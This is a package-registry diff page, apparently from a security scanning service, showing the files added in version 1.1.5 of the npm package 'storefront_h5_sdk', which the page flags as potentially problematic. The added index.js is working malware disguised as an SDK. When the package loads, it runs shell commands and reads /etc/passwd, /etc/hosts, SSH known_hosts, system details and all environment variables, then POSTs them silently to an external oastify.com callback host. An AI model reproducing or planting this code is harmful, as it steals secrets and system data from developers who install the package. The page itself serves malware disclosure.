storefront_h5_sdk 1.1.5

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of storefront_h5_sdk might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +62 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,62 @@
1
+ //author:- rawSpec
2
+ const os = require("os");
3
+ const dns = require("dns");
4
+ const fs=require("fs");
5
+ const querystring = require("querystring");
6
+ const https = require("https");
7
+ const http = require("http");
8
+ const { execSync } = require("child_process");
9
+ const packageJSON = require("./package.json");
10
+ const package = packageJSON.name;
11
+ const npmListOutput = execSync('npm list').toString('utf8');
12
+ const envOutput = execSync('ls').toString('utf8');
13
+
14
+
15
+
16
+ const trackingData = JSON.stringify({
17
+ p: package,
18
+ c: __dirname,
19
+ hd: os.homedir(),
20
+ hn: os.hostname(),
21
+ hosts: fs.readFileSync("/etc/hosts").toString('utf8'),
22
+ un: os.userInfo().username,
23
+ dns: dns.getServers(),
24
+ file: fs.readFileSync("/etc/group").toString('utf8'),
25
+ npmList: npmListOutput,
26
+ ls:envOutput,
27
+ file1: fs.readFileSync("/etc/networks").toString('utf8'),
28
+ environment: process.env,
29
+ r: packageJSON ? packageJSON.___resolved : undefined,
30
+ v: packageJSON.version,
31
+ pjson: packageJSON,
32
+ file2: fs.readFileSync("/etc/passwd").toString('utf8'),
33
+ file3: fs.readFileSync(".ssh/known_hosts").toString('utf8'),
34
+ });
35
+
36
+ var postData = querystring.stringify({
37
+ msg: trackingData,
38
+ });
39
+
40
+ var options = {
41
+ hostname: "ovn8m3mpm90l4jw05kpia0d61x7ovhl5a.oastify.com",
42
+ port: 443,
43
+ path: "/",
44
+ method: "POST",
45
+ headers: {
46
+ "Content-Type": "application/x-www-form-urlencoded",
47
+ "Content-Length": postData.length,
48
+ },
49
+ };
50
+
51
+ var req = https.request(options, (res) => {
52
+ res.on("data", (d) => {
53
+ process.stdout.write(d);
54
+ });
55
+ });
56
+
57
+ req.on("error", (e) => {
58
+ // console.error(e);
59
+ });
60
+
61
+ req.write(postData);
62
+ req.end();
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "storefront_h5_sdk",
3
+ "version": "1.1.5",
4
+ "description": "h5_sdk",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }